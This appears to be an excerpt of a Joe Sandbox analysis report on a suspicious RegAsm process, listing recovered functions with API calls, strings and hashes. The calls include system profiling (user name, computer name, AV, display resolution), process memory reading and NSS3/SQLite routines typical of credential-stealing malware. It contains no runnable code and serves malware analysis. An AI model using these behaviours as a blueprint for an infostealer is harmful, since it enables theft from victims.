Opcode ID: d8a60a63b2fc27b5c07bb8cb8f39a01b93f4d61d13ab33d01923978846a6044c
Instruction ID: 1b38c6597b5f82f3d502dc6a19efd36b8696a7dc3b7838d7835286e554758ea1
Opcode Fuzzy Hash: d8a60a63b2fc27b5c07bb8cb8f39a01b93f4d61d13ab33d01923978846a6044c
Instruction Fuzzy Hash: 66615BB1A002248BD710DF29C840BA7B7F5EF55318F6842ADE849AFB81D376D947C7A1

Function 6C214DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C21536F,00000022,?,?,00000000,?), ref: 6C214E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C214F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C214F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C214FAE
free.MOZGLUE(?), ref: 6C214FC8

Strings

%s=%c%s%c, xrefs: 6C214FA9
%s=%s, xrefs: 6C214F89
oS!l", xrefs: 6C214DFB, 6C214EF4, 6C214EC5

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oS!l"
API String ID: 2709355791-431619459
Opcode ID: a9676efced9e7e2610d347d627bdd9a132e4c35696ad4a83681ada906cdbce8c
Instruction ID: 5c0739ee1a2c66ac75397b3f59ef68806a82347817264480c4ca218166235e73
Opcode Fuzzy Hash: a9676efced9e7e2610d347d627bdd9a132e4c35696ad4a83681ada906cdbce8c
Instruction Fuzzy Hash: E0511321A0D15F8BEB01CA6984907FF7BF59F4630EF688126FE98E7F41D325980587A1

Function 6C23EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C25A4A1,?,00000000,?,00000001), ref: 6C23EF6D

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

htonl.WSOCK32(00000000,?,6C25A4A1,?,00000000,?,00000001), ref: 6C23EFE4
htonl.WSOCK32(?,00000000,?,6C25A4A1,?,00000000,?,00000001), ref: 6C23EFF1
memcpy.VCRUNTIME140(?,?,6C25A4A1,?,00000000,?,6C25A4A1,?,00000000,?,00000001), ref: 6C23F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C25A4A1,?,00000000,?,00000001), ref: 6C23F027

Strings

dtls13, xrefs: 6C23EF33

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 4840706e8ad89aba3f287699400790c394a43933a7a2743887a0d2ba8ca4062c
Instruction ID: 93bf059fae7e73d2c93742cc6eac85e53bc235360b1d9d877d199d764cb0078b
Opcode Fuzzy Hash: 4840706e8ad89aba3f287699400790c394a43933a7a2743887a0d2ba8ca4062c
Instruction Fuzzy Hash: 5931F3B1A012299BC710DF28DC41B9AB7E4AF49348F158129FC1C9B751E771ED19CBE1

Function 6C1BAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C1BAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C2D9500,6C1B3F91), ref: 6C1BAFD2

Part of subcall function 6C20B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C2E18D0,?), ref: 6C20B095

DER_GetInteger_Util.NSS3(?), ref: 6C1BB007

Part of subcall function 6C206A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C1B1666,?,6C1BB00C,?), ref: 6C206AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C1BB02F
PR_CallOnce.NSS3(6C312AA4,6C2112D0), ref: 6C1BB046
PL_FreeArenaPool.NSS3 ref: 6C1BB058
PL_FinishArenaPool.NSS3 ref: 6C1BB060

Strings

security, xrefs: 6C1BAFB8

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 75dce70d7f73e5c7417ab85e104e93bef85dbcb13a03e551c63c617634544dc4
Instruction ID: 463a3d30a9d871b578769e8b6d5202579d3ceb52b2d9be849bbe2c0348ab985c
Opcode Fuzzy Hash: 75dce70d7f73e5c7417ab85e104e93bef85dbcb13a03e551c63c617634544dc4
Instruction Fuzzy Hash: 26310F705083049BDB208F249CC5BAA77B4AF8672CF100619EDB4ABF81E736D109CB96

Function 0041F912 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 0041F937

Part of subcall function 0041F4D2: Replicator::operator[].LIBCMT ref: 0041F555
Part of subcall function 0041F4D2: DName::operator+=.LIBCMT ref: 0041F55D

DName::operator+.LIBCMT ref: 0041F990
DName::DName.LIBCMT ref: 0041F9E8

Strings

,..., xrefs: 0041F97C, 0041F988
void, xrefs: 0041F9E0
,<ellipsis>, xrefs: 0041F983
..., xrefs: 0041F9CB, 0041F9D7
<ellipsis>, xrefs: 0041F9D2

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: d3ab2409594bd746038f666c063a4042a3e3f6ffbbc6970485e0b6f7108b7cf3
Instruction ID: 29a813e2d2bf3327bf54fd56b45236dac27320891bfe6471c6b9f0a0d130281a
Opcode Fuzzy Hash: d3ab2409594bd746038f666c063a4042a3e3f6ffbbc6970485e0b6f7108b7cf3
Instruction Fuzzy Hash: CB21A171611248AFCB11EF1CD440AA97BB0EF4534AB04806AE845CB327E738E987CB4C

Function 004212AB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 004212B5
DName::DName.LIBCMT ref: 004212C1

Part of subcall function 0041EF8C: DName::doPchar.LIBCMT ref: 0041EFBD

UnDecorator::getScopedName.LIBCMT ref: 00421300
DName::operator+=.LIBCMT ref: 0042130A
DName::operator+=.LIBCMT ref: 00421319
DName::operator+=.LIBCMT ref: 00421325
DName::operator+=.LIBCMT ref: 00421332

Strings

void, xrefs: 00421311

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: 4593ccc2295a5eef351ee994040e2c1cea314195fe000b448df242ee6b74f299
Instruction ID: b20d69b9f71073cb98b83c49312996bb3c94f5a704e98fc4dd4a4e4cf82e1e76
Opcode Fuzzy Hash: 4593ccc2295a5eef351ee994040e2c1cea314195fe000b448df242ee6b74f299
Instruction Fuzzy Hash: A8110A31600208AFD714EB65D855BED7BB0EF20305F44009AE406976E2DB789E85C749

Function 00411563 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
ReleaseDC.USER32(00000000,00000000), ref: 00411596
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414061,?,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC), ref: 004115A2
HeapAlloc.KERNEL32(00000000,?,?,00414061,?,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC,Install Date: ), ref: 004115A9
wsprintfA.USER32 ref: 004115BB

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Strings

%dx%d, xrefs: 004115B5

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: 7e3ca2e5e1d68b33f818dd8cb4a3d7bdd34cf0689526acc4e8cf55884910fa72
Instruction ID: 6214b610274db4f02d0c2d51c42afcdd70af250500a3b2e8379190f8560bbba1
Opcode Fuzzy Hash: 7e3ca2e5e1d68b33f818dd8cb4a3d7bdd34cf0689526acc4e8cf55884910fa72
Instruction Fuzzy Hash: 25F0C832601320BBEB249BA59C0DD9B7EAEEF467A7F005055F605D2160E6B75E4087A0

Function 6C1FCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C1FCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C1FCE16
PR_SetError.NSS3(00000000,00000000), ref: 6C1FD079

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 2af7834c6a2353293447fa571490fb069942e3166f7ae31c4b4075d2cc69e8ae
Instruction ID: e6f91664dfa9a19a4cb9150affca0825259921b56ea9ac6c0cc8d6bc458325b9
Opcode Fuzzy Hash: 2af7834c6a2353293447fa571490fb069942e3166f7ae31c4b4075d2cc69e8ae
Instruction Fuzzy Hash: 08C18EB1A002199FDB20DF24CC80BDAB7F4BF58318F1541A8D958A7741E775EA96CF90

Function 6C1B2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(41002BDF), ref: 6C1B2C5D

Part of subcall function 6C210D30: calloc.MOZGLUE ref: 6C210D50
Part of subcall function 6C210D30: TlsGetValue.KERNEL32 ref: 6C210D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C1B2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C1B2CE0

Part of subcall function 6C1B2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C1B2CDA,?,00000000), ref: 6C1B2E1E
Part of subcall function 6C1B2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C1B2E33
Part of subcall function 6C1B2E00: TlsGetValue.KERNEL32 ref: 6C1B2E4E
Part of subcall function 6C1B2E00: EnterCriticalSection.KERNEL32(?), ref: 6C1B2E5E
Part of subcall function 6C1B2E00: PL_HashTableLookup.NSS3(?), ref: 6C1B2E71
Part of subcall function 6C1B2E00: PL_HashTableRemove.NSS3(?), ref: 6C1B2E84
Part of subcall function 6C1B2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C1B2E96
Part of subcall function 6C1B2E00: PR_Unlock.NSS3 ref: 6C1B2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C1B2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C1B2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C1B2D3F
free.MOZGLUE(00000000), ref: 6C1B2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C1B2DB8
free.MOZGLUE ref: 6C1B2DC8

Part of subcall function 6C1B3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1B3EC2
Part of subcall function 6C1B3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C1B3ED6
Part of subcall function 6C1B3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C1B3EEE
Part of subcall function 6C1B3E60: PR_CallOnce.NSS3(6C312AA4,6C2112D0), ref: 6C1B3F02
Part of subcall function 6C1B3E60: PL_FreeArenaPool.NSS3 ref: 6C1B3F14
Part of subcall function 6C1B3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C1B3F27

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 25388371f2af568c842e4e38ec64d340a8c1e358162027de576c230b27f07d72
Instruction ID: 0e146521033460379f3d84f55f1e4a4ecc96635298c77564c0789712bee605c8
Opcode Fuzzy Hash: 25388371f2af568c842e4e38ec64d340a8c1e358162027de576c230b27f07d72
Instruction Fuzzy Hash: 46510071A043159BEB00DF29DC89B6B77E5EFA4348F15052CEC59A7610E731E819CF92

Function 0040F915 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000000,?,00000000,00000000,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040F934
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000), ref: 0040F95E
ReadProcessMemory.KERNEL32(?,00000000,?,00064000,00000000,?,?,?,?,?,?,?,?), ref: 0040F9AB
ReadProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0040FA04
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 0040FA5C
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040FA6D

Strings

@, xrefs: 0040F977

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: MemoryProcessQueryReadVirtual
String ID: @
API String ID: 3835927879-2766056989
Opcode ID: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction ID: 782d1e78530d26aac93c20cf39dad9713f636d1ba6f6d7f846141922d26d4ee5
Opcode Fuzzy Hash: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction Fuzzy Hash: B8419D32A00209BBDF209FA5DC49FDF7B76EF44760F14803AFA04A6690D7788A55DB94

Function 6C282F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C282FFD
sqlite3_initialize.NSS3 ref: 6C283007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C283032
sqlite3_mprintf.NSS3(6C2EAAF9,?), ref: 6C283073
sqlite3_free.NSS3(?), ref: 6C2830B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C2830C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C2830BB

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: db03b5292eab2ff729cb66c0693e16303627dfb462b00d6454e4ecb364fe7a74
Instruction ID: 8709bac915b3f7f261c21cc9dfd89b6b594ce055e56e9c3cdcecbe4ba908b7ed
Opcode Fuzzy Hash: db03b5292eab2ff729cb66c0693e16303627dfb462b00d6454e4ecb364fe7a74
Instruction Fuzzy Hash: D341D37560160AAFDB00CF25D840A86B7B5FF54359F148628FC598BB80EB31F969CBD1

Function 6C1C8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C1D124D,00000001), ref: 6C1C8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C1D124D,00000001), ref: 6C1C8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C1D124D,00000001), ref: 6C1C8D73
PR_Unlock.NSS3(?,?,?,?,?,6C1D124D,00000001), ref: 6C1C8D8C

Part of subcall function 6C25DD70: TlsGetValue.KERNEL32 ref: 6C25DD8C
Part of subcall function 6C25DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C25DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C1D124D,00000001), ref: 6C1C8DBA

Strings

KRAM, xrefs: 6C1C8D3E
KRAM, xrefs: 6C1C8CF9

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: d2bf8721c922c5e732c5a662cf378828596f7aff603367cf10c98247819f3b9b
Instruction ID: dd1e56b7db347188f615a9d50fba2ca9b9d22071df4a57f78be730e2fe4482dc
Opcode Fuzzy Hash: d2bf8721c922c5e732c5a662cf378828596f7aff603367cf10c98247819f3b9b
Instruction Fuzzy Hash: 472182B57046058FDB00EF78C48466AB7F4FF65314F15896AEC8887701D738D881CB92

Function 6C2C0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C2C0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C2C0EFA

Part of subcall function 6C1AAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C1AAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2C0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2C0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2C0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2C0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C2C0ED9, 6C2C0EE5, 6C2C0F06, 6C2C0F0B
Aborting, xrefs: 6C2C0EB3

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

